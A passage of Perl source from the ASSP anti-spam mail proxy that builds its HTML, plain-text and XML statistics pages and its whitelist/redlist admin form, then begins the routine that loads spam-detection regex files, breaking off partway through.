            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{penaltytrap}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Bad Attachments:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{viri}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{viri}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Viruses Detected:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{viridetected}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{viridetected}
            </td>
          </tr>
         
          
          <tr>
            <td class="statsOptionTitle">
              Black Regex:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{bombBlack}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{bombBlack}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Bomb Regex:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{bombs}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{bombs}
            </td>
          </tr>
          
          <tr>
            <td class="statsOptionTitle">
              PenaltyBox:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{pbdenied}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{pbdenied}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              PenaltyBox Extreme:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{pbextreme}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{pbextreme}
            </td>
          </tr>
  
          <tr>
            <td class="statsOptionTitle">
              Deny Connection:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{denyConnection}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{denyConnection}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              CountryCode blocked:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{sbblocked}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{sbblocked}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Message Scoring:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgscoring}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgscoring}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Invalid Local Sender:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{senderInvalidLocals}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{senderInvalidLocals}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Invalid Internal Mail:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{internaladdresses}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{internaladdresses}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Scripts:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{scripts}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{scripts}
            </td>
          </tr>

          <tr>
            <td class="statsOptionTitle">
              RBL Failures:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rblfails}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rblfails}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              URIBL Failures:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{uriblfails}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{uriblfails}
            </td>
          </tr>

          <tr>
            <td class="statsOptionTitle">
              Max Errors Exceeded:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgMaxErrors}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgMaxErrors}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              MSGverify :
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgverify}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgverify}
            </td>
          </tr>
           <tr>
            <td class="statsOptionTitle">
              MSGID Signing Errors:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgMSGIDtrErrors}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgMSGIDtrErrors}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Local Frequency:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{localFrequency}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{localFrequency}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Early (Pre)Header:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{preHeader}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{preHeader}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Delayed/Greylisted:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgDelayed}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgDelayed}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Empty Recipient:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgNoRcpt}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgNoRcpt}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Unsigned SRS Bounces:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{msgNoSRSBounce}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{msgNoSRSBounce}
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $restart at $starttime</em></font>
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $reset at $resettime</em></font>
            </td>
          </tr>
        </tbody>
        
      </table><br />
     
      $kudos
		<br />
		</div>
 		$footers


</body></html>
EOT
}

sub ConfigStatsRaw {
    SaveStats();
    my %tots    = statsTotals();
    my $upt     = ( time - $Stats{starttime} ) / ( 24 * 3600 );
    my $upt2    = ( time - $AllStats{starttime} ) / ( 24 * 3600 );
    my $uptime  = sprintf( "%.3f", $upt );
    my $uptime2 = sprintf( "%.3f", $upt2 );
    my $mpd     = sprintf( "%.1f", $upt == 0 ? 0 : $tots{msgTotal} / $upt );
    my $mpd2    = sprintf( "%.1f", $upt2 == 0 ? 0 : $tots{msgTotal2} / $upt2 );
    my $pct     = sprintf( "%.1f",
        $tots{msgTotal} - $Stats{locals} == 0
        ? 0
        : 100 * $tots{msgRejectedTotal} / ( $tots{msgTotal} - $Stats{locals} )
    );
    my $pct2 = sprintf( "%.1f",
        $tots{msgTotal2} - $AllStats{locals} == 0
        ? 0
        : 100 *
          $tots{msgRejectedTotal2} /
          ( $tots{msgTotal2} - $AllStats{locals} ) );
    my $cpu = $CanStatCPU ? sprintf( "%.2f\%", 100 * $cpuUsage ) : 'n/a';
    my $cpuAvg = sprintf( " (%.2f\% avg)",
        $Stats{cpuTime} == 0 ? 0 : 100 * $Stats{cpuBusyTime} / $Stats{cpuTime} )
      if $CanStatCPU;
    my $cpuAvg2 =
      $CanStatCPU
      ? sprintf( "%.2f\% avg",
        $AllStats{cpuTime} == 0
        ? 0
        : 100 * $AllStats{cpuBusyTime} / $AllStats{cpuTime} )
      : 'n/a';
    <<EOT;
$headerHTTP
ASSP Proxy Uptime | $uptime days| $uptime2 days 
Messages Processed | $tots{msgTotal} ($mpd per day) | $tots{msgTotal2} ($mpd2 per day)
Non-Local Mail Blocked | $pct% | $pct2%
CPU Usage | $cpu$cpuAvg | $cpuAvg2
Concurrent SMTP Sessions | $smtpConcurrentSessions ($Stats{smtpMaxConcurrentSessions} highest) | $AllStats{smtpMaxConcurrentSessions} max


SMTP Connections Received | $tots{smtpConnTotal} | $tots{smtpConnTotal2}
SMTP Connections Accepted | $tots{smtpConnAcceptedTotal} | $tots{smtpConnAcceptedTotal2}
SMTP Connections Rejected | $tots{smtpConnRejectedTotal} | $tots{smtpConnRejectedTotal2}
Envelope Recipients Processed | $tots{rcptTotal} | $tots{rcptTotal2}
Envelope Recipients Accepted | $tots{rcptAcceptedTotal} | $tots{rcptAcceptedTotal2}
Envelope Recipients Rejected | $tots{rcptRejectedTotal} | $tots{rcptRejectedTotal2}
Messages Processed | $tots{msgTotal} | $tots{msgTotal2}
Messages Passed | $tots{msgAcceptedTotal} | $tots{msgAcceptedTotal2}
Messages Rejected | $tots{msgRejectedTotal} | $tots{msgRejectedTotal2}
Admin Connections Received | $tots{admConnTotal} | $tots{admConnTotal2}
Admin Connections Accepted | $Stats{admConn} | $AllStats{admConn}
Admin Connections Rejected | $Stats{admConnDenied} | $AllStats{admConnDenied}
Stat Connections Received | $tots{statConnTotal} | $tots{statConnTotal2}
Stat Connections Accepted | $Stats{statConn} | $AllStats{statConn}
Stat Connections Rejected | $Stats{statConnDenied} | $AllStats{statConnDenied}


Accepted Logged SMTP Connections | $Stats{smtpConn} | $AllStats{smtpConn}
Not Logged SMTP Connections | $Stats{smtpConnNotLogged} | $AllStats{smtpConnNotLogged}
SMTP Connection Limits | $tots{smtpConnLimit} | $tots{smtpConnLimit2}
Overall Limits | $Stats{smtpConnLimit} | $AllStats{smtpConnLimit}
By IP Limits | $Stats{smtpConnLimitIP} | $AllStats{smtpConnLimitIP}
By Delay on PB | $Stats{delayConnection} | $AllStats{delayConnection}
BY IP By AUTH Errors Count | $Stats{AUTHErrors} | $AllStats{AUTHErrors}
By IP Frequency Limits | $Stats{smtpConnLimitFreq} | $AllStats{smtpConnLimitFreq}
By Domain IP Limits | $Stats{smtpConnDomainIP} | $AllStats{smtpConnDomainIP}
SMTP Connections Timeout | $tots{smtpConnIdleTimeout} | $tots{smtpConnIdleTimeout2}
SMTP SSL-Connections Timeout | $tots{smtpConnSSLIdleTimeout} | $tots{smtpConnSSLIdleTimeout2}
SMTP TLS-Connections Timeout | $tots{smtpConnTLSIdleTimeout} | $tots{smtpConnTLSIdleTimeout2}
Denied SMTP Connections | $Stats{smtpConnDenied} | $AllStats{smtpConnDenied}

Local Recipients Accepted | $tots{rcptAcceptedLocal} | $tots{rcptAcceptedLocal2}
Validated Recipients | $Stats{rcptValidated} | $AllStats{rcptValidated}
Unchecked Recipients | $Stats{rcptUnchecked} | $AllStats{rcptUnchecked}
SpamLover Recipients | $Stats{rcptSpamLover} | $AllStats{rcptSpamLover}
Remote Recipients Accepted | $tots{rcptAcceptedRemote} | $tots{rcptAcceptedRemote2}
Whitelisted Recipients | $Stats{rcptWhitelisted} | $AllStats{rcptWhitelisted}
Not Whitelisted Recipients | $Stats{rcptNotWhitelisted} | $AllStats{rcptNotWhitelisted}
Noprocessed Recipients | $Stats{rcptUnprocessed} | $AllStats{rcptUnprocessed}
Email Reports | $tots{rcptReport} | $tots{rcptReport2}
Spam Reports | $Stats{rcptReportSpam} | $AllStats{rcptReportSpam}
Ham Reports | $Stats{rcptReportHam} | $AllStats{rcptReportHam}
Whitelist Additions | $Stats{rcptReportWhitelistAdd} | $AllStats{rcptReportWhitelistAdd}
Whitelist Deletions | $Stats{rcptReportWhitelistRemove} | $AllStats{rcptReportWhitelistRemove}
Redlist Additions | $Stats{rcptReportRedlistAdd} | $AllStats{rcptReportRedlistAdd}
Redlist Deletions | $Stats{rcptReportRedlistRemove} | $AllStats{rcptReportRedlistRemove}
Local Recipients Rejected | $tots{rcptRejectedLocal} | $tots{rcptRejectedLocal2}
Nonexistent Recipients | $Stats{rcptNonexistent} | $AllStats{rcptNonexistent}
Delayed Recipients | $Stats{rcptDelayed} | $AllStats{rcptDelayed}
Delayed (Late) Recipients | $Stats{rcptDelayedLate} | $AllStats{rcptDelayedLate}
Delayed (Expired) Recipients | $Stats{rcptDelayedExpired} | $AllStats{rcptDelayedExpired}
Embargoed Recipients | $Stats{rcptEmbargoed} | $AllStats{rcptEmbargoed}
Spam Bucketed Recipients | $Stats{rcptSpamBucket} | $AllStats{rcptSpamBucket}
Remote Recipients Rejected | $tots{rcptRejectedRemote} | $tots{rcptRejectedRemote2}
Relay Attempts Rejected | $Stats{rcptRelayRejected} | $AllStats{rcptRelayRejected}


Hams | $Stats{bhams} | $AllStats{bhams}
Whitelisted | $Stats{whites} | $AllStats{whites}
Local | $Stats{locals} | $AllStats{locals}
Noprocessing | $Stats{noprocessing} | $AllStats{noprocessing}
Spamlover Spams Passed | $Stats{spamlover} | $AllStats{spamlover}
Bayesian Spams | $Stats{bspams} | $AllStats{bspams}
Domains Blacklisted | $Stats{blacklisted} | $AllStats{blacklisted}

HELO Invalid | $Stats{invalidHelo} | $AllStats{invalidHelo}
HELO Forged | $Stats{forgedHelo} | $AllStats{forgedHelo}
Missing MX | $Stats{mxaMissing} | $AllStats{mxaMissing}
Missing PTR | $Stats{ptrMissing} | $AllStats{ptrMissing}
Invalid PTR | $Stats{ptrInvalid} | $AllStats{ptrInvalid}
Spam Collect Messages | $Stats{spambucket} | $AllStats{spambucket}
Penalty Trap Messages | $Stats{penaltytrap} | $AllStats{penaltytrap}
Bad Attachments | $Stats{viri} | $AllStats{viri}
Viruses Detected | $Stats{viridetected} | $AllStats{viridetected}
Bomb Regex | $Stats{bombs} | $AllStats{bombs}
Black Regex | $Stats{bombBlack} | $AllStats{bombBlack}

PenaltyBox | $Stats{pbdenied} | $AllStats{pbdenied}
Message Scoring | $Stats{msgscoring} | $AllStats{msgscoring}
Invalid Local Sender | $Stats{senderInvalidLocals} | $AllStats{senderInvalidLocals}
Invalid Internal Mail | $Stats{internaladdresses} | $AllStats{internaladdresses}
Scripts | $Stats{scripts} | $AllStats{scripts}
SPF Failures | $Stats{spffails} | $AllStats{spffails}
RBL Failures | $Stats{rblfails} | $AllStats{rblfails}
URIBL Failures | $Stats{uriblfails} | $AllStats{uriblfails}
Max Errors Exceeded | $Stats{msgMaxErrors} | $AllStats{msgMaxErrors}
Delayed | $Stats{msgDelayed} | $AllStats{msgDelayed}
Empty Recipient | $Stats{msgNoRcpt} | $AllStats{msgNoRcpt}
Not SRS Signed Bounces | $Stats{msgNoSRSBounce} | $AllStats{msgNoSRSBounce}
MSGID Signature | $Stats{msgMSGIDtrErrors} | $AllStats{msgMSGIDtrErrors}

EOT
}

sub ConfigStatsXml {

    # must pass by ref
    my ( $href, $qsref ) = @_;
    my %head = %$href;
    my %qs   = %$qsref;

    my %totStats = &ComputeStatTotals;
    my %tots     = statsTotals(%totStats);

    my $statstart  = localtime( $Stats{starttime} );
    my $statstart2 = localtime( $totStats{starttime} );

    my $tstatstime = ( time - $totStats{starttime} ) / ( 24 * 3600 );
    my $cstatstime = ( time - $Stats{starttime} ) /    ( 24 * 3600 );

    my $uptime = getTimeDiffAsString( time - $starttime, 1 );
    my $uptime2 = getTimeDiffAsString( time - $totStats{starttime} );

    my $mpd =
      sprintf( "%.1f", $cstatstime == 0 ? 0 : $tots{msgTotal} / $cstatstime );
    my $mpd2 =
      sprintf( "%.1f", $tstatstime == 0 ? 0 : $tots{msgTotal2} / $tstatstime );
    my $pct = sprintf( "%.1f",
        $tots{msgTotal} - $Stats{locals} == 0
        ? 0
        : 100 * $tots{msgRejectedTotal} / ( $tots{msgTotal} - $Stats{locals} )
    );
    my $pct2 = sprintf( "%.1f",
        $tots{msgTotal2} - $totStats{locals} == 0
        ? 0
        : 100 *
          $tots{msgRejectedTotal2} /
          ( $tots{msgTotal2} - $totStats{locals} ) );
    my $cpu = $CanStatCPU ? sprintf( "%.2f\%", 100 * $cpuUsage ) : 'na';
    my $cpuAvg =
      $CanStatCPU
      ? sprintf( "%.2f\%",
        $Stats{cpuTime} == 0 ? 0 : 100 * $Stats{cpuBusyTime} / $Stats{cpuTime} )
      : 'na';
    my $cpuAvg2 =
      $CanStatCPU
      ? sprintf( "%.2f\%",
        $totStats{cpuTime} == 0
        ? 0
        : 100 * $totStats{cpuBusyTime} / $totStats{cpuTime} )
      : 'na';

    my $r = '';
    foreach my $k ( keys %tots ) {
        next unless $k;

        my $s = $k;
        if ( $s =~ tr/2//d ) {
            $r .= "<stat name='$s' type='cumulativetotal'>$tots{$k}</stat>";
        } else {
            $r .= "<stat name='$s' type='currenttotal'>$tots{$k}</stat>";
        }
    }
    foreach my $k ( keys %Stats ) {
        next unless $k;
        $r .= "<stat name='$k' type='currentstat'>$Stats{$k}</stat>";
    }
    foreach my $k ( keys %totStats ) {
        next unless $k;
        $r .= "<stat name='$k' type='cumulativestat'>$totStats{$k}</stat>";
    }

    <<EOT;
$headerHTTP

<?xml version='1.0' encoding='UTF-8'?>
<stats>
<stat name='statstart' type='currentstat'>$statstart</stat>
<stat name='statstart' type='cumulativestat'>$statstart2</stat>
<stat name='uptime' type='currentstat'>$uptime</stat>
<stat name='uptime' type='cumulativestat'>$uptime2</stat>
<stat name='msgPerDay' type='currentstat'>$mpd</stat>
<stat name='msgPerDay' type='cumulativestat'>$mpd2</stat>
<stat name='pctBlocked' type='currentstat'>$pct</stat>
<stat name='pctBlocked' type='cumulativestat'>$pct2</stat>
<stat name='cpuAvg' type='currentstat'>$cpuAvg</stat>
<stat name='cpuAvg' type='cumulativestat'>$cpuAvg2</stat>
<stat name='smtpConcurrentSessions' type='currentstat'>$smtpConcurrentSessions</stat>
$r
</stats>
EOT

}

sub ConfigLists {
    my $s;
    my $a;
    my $act = $qs{action};
    if ($act) {
        if ( $qs{list} eq 'tuplets' ) {
            my $ip;
            my $hash;
            my $t;
            my $interval;
            my $intervalFormatted;
			while ($qs{addresses}=~/($IPRe)\s*,?\s*<?(?:$EmailAdrRe\@)?($EmailDomainRe|)>?/go) {
                $ip = ipNetwork( $1, $DelayUseNetblocks );
                $a = lc $2;
                if ($DelayNormalizeVERPs) {

                    # strip extension
                    $a =~ s/\+.*(?=@)//;

                    # replace numbers with '#'
                    $a =~ s/\b\d+\b(?=.*@)/#/g;
                }

                # get sender domain
                $a =~ s/.*@//;
                $hash = "$ip $a";
                $hash = Digest::MD5::md5_hex($hash)
                  if $CanUseMD5 && $DelayMD5;
                $t = time;
                $s .= "<div class=\"text\">($ip,$a) ";
                if ( $act eq 'v' ) {

                    if ( !exists $DelayWhite{$hash} ) {
                        $s .=
"<span class=\"negative\">tuplet NOT whitelisted</span>";
                    } else {
                        $interval          = $t - $DelayWhite{$hash};
                        $intervalFormatted = formatTimeInterval($interval);
                        if ( $interval < $DelayExpiryTime * 24 * 3600 ) {
                            $s .= "tuplet whitelisted, age: $intervalFormatted";
                        } else {
                            $s .= "tuplet expired, age: $intervalFormatted";
                        }
                    }
                } elsif ( $act eq 'a' ) {
                    if (
                        !exists $DelayWhite{$hash}
                        || ( $t - $DelayWhite{$hash} >=
                            $DelayExpiryTime * 24 * 3600 )
                      )
                    {
                        if ( localmail( '@' . $a ) ) {
                            $s .=
"<span class=\"negative\">local addresses not allowed on whitelisted tuplets</span>";
                        } else {
                            $s .= "tuplet added";
                            $DelayWhite{$hash} = $t;
                            mlog( 0,
"AdminInfo: whitelisted tuplets addition: ($ip,$a) (admin)"
                            );
                        }
                    } else {
                        $s .=
"<span class=\"positive\">tuplet already whitelisted</span>";
                    }
                } elsif ( $act eq 'r' ) {
                    if ( !exists $DelayWhite{$hash} ) {
                        $s .=
"<span class=\"negative\">tuplet NOT whitelisted</span>";
                    } else {
                        $interval          = $t - $DelayWhite{$hash};
                        $intervalFormatted = formatTimeInterval($interval);
                        if ( $interval < $DelayExpiryTime * 24 * 3600 ) {
                            $s .= "tuplet removed, age: $intervalFormatted";
                        } else {
                            $s .=
                              "expired tuplet removed, age: $intervalFormatted";
                        }
                        delete $DelayWhite{$hash};
                        mlog( 0,
"AdminInfo: whitelisted tuplets deletion: ($ip,$a) (admin)"
                        );
                    }
                }
                $s .= "</div>\n";
            }
        } else {
            my $color = $qs{list} eq 'red' ? 'Red' : 'White';
            my $list = $color . "list";
            while            ($qs{addresses}=~/($EmailAdrRe\@$EmailDomainRe'?)(?:(,(?:$EmailAdrRe\@$EmailDomainRe'?)|\*))?/go) {
                $a = $1;
                $s .= "<div class=\"text\">$a ";
                $a = lc $a;
                if ( $act eq 'v' ) {
                    if ( $list->{$a} ) {
                        $s .= "${color}listed";
                    } else {
                        $s .=
                          "<span class=\"negative\">NOT $qs{list}listed</span>";
                    }
                } elsif ( $act eq 'a' ) {
                    if ( $list->{$a} ) {
                        $s .=
"<span class=\"positive\">already $qs{list}listed</span>";
                    } else {

						if($color eq 'White' && localmail($a)) {
							$s.="<span class=\"negative\">local addresses not allowed on whitelist</span>";
							
 						} else {
                        $s .= "added";
                        $list->{$a} = time;
                        mlog( 0,
                            "AdminInfo: $qs{list}list addition: $a (admin)" );

                        }
                    }
                } elsif ( $act eq 'r' ) {
                    if ( $list->{$a} ) {
                        $s .= "removed";
                        delete $list->{$a};
                        mlog( 0,
                            "AdminInfo: $qs{list}list deletion: $a (admin)" );
                    } else {
                        $s .= "not $qs{list}listed";
                    }
                }
                $s .= "</div>\n";
            }
        }
    }
    if ( $qs{B1} =~ /^Show (.)/i ) {
        local $/ = "\n";
        if ( $1 eq 'R' ) {
            $qs{list} = "red";    # update radios
            $RedlistObject->flush() if $RedlistObject && $redlistdb !~ /mysql/;
            open( $FH, "<$base/$redlistdb" ) if $redlistdb !~ /mysql/;
            $s .= '<div class="textbox"><b>Redlist</b></div>';
            if ( $redlistdb =~ /mysql/ ) {
                $s .= '<div class="textbox"><b>mysql</b></div>';
                while ( my ($v) = each(%Redlist) ) {
                    my ( $a, $time ) = split( "\002", $v );
                    $s .= "<div class=\"textbox\">$a</div>";
                }
            }
        } else {
            $qs{list} = "white";    # update radios
            $WhitelistObject->flush()
              if $WhitelistObject && $whitelistdb !~ /mysql/;
            open( $FH, "<$base/$whitelistdb" ) if $whitelistdb !~ /mysql/;
            $s .= '<div class="textbox"><b>Whitelist</b></div>';
            if ( $whitelistdb =~ /mysql/ ) {
                $s .= '<div class="textbox"><b>mysql</b></div>';
                while ( my ($v) = each(%Whitelist) ) {
                    my ( $a, $time ) = split( "\002", $v );
                    $s .= "<div class=\"textbox\">$a</div>";

                }
            }
        }
        if ( $whitelistdb !~ /mysql/ ) {
            my $l;
            while ( $l = <$FH> ) {
                my ($a) = $l =~ /([^\002]*)/;
                $s .= "<div class=\"textbox\">$a</div>";
            }
            close $FH;
        }
    }
    $resultConfigLists = $s;
    <<EOT;
$headerHTTP
$headerDTDTransitional
$headers

<div class="content">
<h2>Update or Verify the Whitelist/Redlist</h2>
$s
<form method="post" action=\"\">
    <table class="textBox" style="width: 99%;">
        <tr>
            <td class="noBorder">Do you want to work with the:
            </td>
            <td class="noBorder">
            <input type="radio" name="list" value="white"${\((!$qs{list} || $qs{list} eq 'white') ? ' checked="checked" ' : ' ')} /> Whitelist or<br />
            <input type="radio" name="list" value="red"${\($qs{list} eq 'red' ? ' checked="checked" ' : ' ')} /> Redlist or<br />
            <input type="radio" name="list" value="tuplets"${\($qs{list} eq 'tuplets' ? ' checked="checked" ' : ' ')} /> Tuplets
            </td>
        </tr>
        <tr>
            <td class="noBorder">Do you want to: </td>
            <td class="noBorder"><input type="radio" name="action" value="a" />add<br />
            <input type="radio" name="action" value="r" />remove<br />
            <input type="radio" checked="checked" name="action" value="v" />or verify</td>
            <td class="noBorder">
                List the addresses in this box:<br />
                (for tuplets put: ip-address,domain-name)<br />
                <p><textarea name="addresses" rows="5" cols="40" wrap="off">$qs{addresses}</textarea></p>
            </td>
        </tr>
        <tr>
            <td class="noBorder">&nbsp;</td>
            <td class="noBorder"><input type="submit" name="B1" value="  Submit  " /></td>
            <td class="noBorder">&nbsp;</td>
        </tr>
    </table>
</form>
<div class="textBox">
<p>Post less than 1 megabyte of data at a time.</p>
Note: The redlist is not a blacklist. The redlist is a list of addresses that cannot
contribute to the whitelist, and who are not considered local, even if their mail is
from a local computer. For example, if someone goes on a vacation and turns on their
email's autoresponder, put them on the redlist until they return. Then as they reply
to every spam they receive they won't corrupt your non-spam collection or whitelist.

  <form action="" method="post">
  <table style="width: 90%; margin-left: 5%;">
    <tr>
      <td align="center" class="noBorder"><input type="submit" name="B1" value="Show Whitelist" /></td>
      <td align="center" class="noBorder"><input type="submit" name="B1" value="Show Redlist" /></td>
    </tr>
  </table>
  </form>
      <p class="warning">warning:   If your whitelist or redlist is long, pushing these buttons
      is ill-advised.</p>
</div>
</div>
$footers
</body></html>
EOT

}

sub SearchBombW {
    my ($name, $srch)=@_;
    
    $incFound = '';
    $weightMatch = '';
    my %Bombs = &BombWeight(0,$srch,$name );
    if ($Bombs{count}) {
        my $match = &SearchBomb($name, $$srch);
        $weightMatch = $match if (! $weightMatch);
        return 'highest match: "' . "$Bombs{matchlength}$Bombs{highnam}" . '" with valence: ' . $Bombs{highval} . ' - PB value = ' . $Bombs{sum};
    }
    return undef;
}

sub SearchBomb {
    my ($name, $srch, $nolog)=@_;
	my $extLog = $AnalyzeLogRegex && ! $silent && [caller(1)]->[3] =~ /analyze/io;
    $incFound = '';
    my $fil=$Config{"$name"};
    return 0 unless $fil;
    $addCharsets = 1 if $name eq 'bombCharSets';
    my $text;
    if ($name ne 'bombSubjectRe') {
       my $mimetext = cleanMIMEBody2UTF8(\$srch);

       if ($mimetext) {
           $text =  cleanMIMEHeader2UTF8(\$srch,0);
           $mimetext =~ s/\=(?:\015?\012|\015)//go;
           $mimetext = decHTMLent(\$mimetext);
           $text .= $mimetext;
       } else {
           $text = decodeMimeWords2UTF8($srch)
       }
    } elsif (! $LogCharset) {
       eval{$text = ( $srch ? Encode::encode('utf-8',$srch) : '');};
    } else {
       $text = $srch;
    }
    $srch = $text;

    undef $text;
    $addCharsets = 0;
    my @complex;
    if($fil=~/^\s*file:\s*(.+)\s*$/io) {
        $fil=$1;
        open (my $BOMBFILE, "<$base/$fil");
        my $counter=0;
        my $complexStartLine;
        while (my $i = <$BOMBFILE>)  {
            $counter++;
            $i =~ s/\<\<\<(.*?)\>\>\>/$1/o;
            $i =~ s/!!!(.*?)!!!//o;
            $i =~ s/a(?:ssp)?-do?-n(?:ot)?-o(?:ptimize)?-r(?:egex)?//iso;
            if ($i =~ /(^\s*#\s*include\s+)(.+)/io) {
                my $fn = $2;
                $i = $1;
                $fn =~ s/([^\\\/])[#;].*/$1/go;
                $i .= $fn;
            } else {
                $i =~ s/^#.*//go;
                $i =~ s/([^\\])#.*/$1/go;
            }
            $i =~ s/^;.*//go;
            $i =~ s/([^\\]);.*/$1/go;
            $i =~ s/\r//go;
            $i =~ s/\s*\n+\s*//go;
 			$i =~ s/\s+$//o;
            next if !$i;

            if (($i =~ /^\~?\Q$complexREStart\E\s*$/o || @complex) && $i !~ /^\Q$complexREEnd\E\d+\}\)(?:\s*\=\>\s*(?:-{0,1}\d+\.*\d*)?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?)?$/o) {
                $complexStartLine = $counter if !$complexStartLine && $i =~ /^\~?\Q$complexREStart\E\s*$/o;
                if ($i !~ /^\s*#\s*include\s+.+/io) {
                    push @complex, $i;
                    next;
                }
            } elsif ($i =~ /^\Q$complexREEnd\E\d+\}\)(?:\s*\=\>\s*([+\-]?(?:0?\.\d+|\d+\.\d+|\d+))?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?)?$/o) {
                push @complex, $i;
                $i = join('|', @complex);
                @complex = ();
            }
			my $isave=$i; 
            $i =~ s/(\~([^\~]+)?\~|([^\|]+)?)\s*\=\>\s*([+\-]?(?:0?\.\d+|\d+\.\d+|\d+))?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?/$2/o;
            

            next if !$i;
#			$i =~ s/\~//go;
			
            my $line;
            my $reg = $i;
            my $file = $fil;
            my $found;
            my $INCFILE;
            if ($i =~ /^\s*#\s*include\s+(.+)\s*/io && (open $INCFILE, "<$base/$1")) {
                $line = 0;
                $file = $1;
                my @complexInc;
                my $complexIncStart;
                while (my $ii = <$INCFILE>) {
                    $line++;

                    $ii =~ s/\<\<\<(.*?)\>\>\>/$1/o;
                    $ii =~ s/!!!(.*?)!!!/$1/o;
                    $ii =~ s/a(?:ssp)?-do?-n(?:ot)?-o(?:ptimize)?-r(?:egex)?//iso;
                    $ii =~ s/^[#;].*//go;
                    $ii =~ s/^;.*//go;
                    $ii =~ s/([^\\])#.*/$1/go;
                    $ii =~ s/([^\\]);.*/$1/go;
                    $ii =~ s/\r//go;
                    $ii =~ s/\s*\n+\s*//go;
                    $ii =~ s/\s+$//o;
                    next if !$ii;
                    
                    if (@complex)  {                   # complex regex started in upper file
                        push @complex, $ii;
                        next;
                    }
# complex regex started in include file	
	
                                                       
                    if (($ii =~ /^\~?\Q$complexREStart\E\s*$/o || @complexInc) && $ii !~ /^\Q$complexREEnd\E\d+\}\)(?:\s*\=\>\s*(?:-{0,1}\d*\.?\d*)?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?)?$/o) {
                        $complexIncStart = $line if !$complexIncStart && $ii =~ /^\~?\Q$complexREStart\E\s*$/o;
                        push @complexInc, $ii;
                        next;
                    } elsif ($ii =~ /^\Q$complexREEnd\E\d+\}\)(?:\s*\=\>\s*(?:-{0,1}\d*\.?\d*)?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?)?$/o) {
                        push @complexInc, $ii;
                        $ii = join('|', @complexInc);
                        @complexInc = ();
                    }
					my $iisave=$ii;
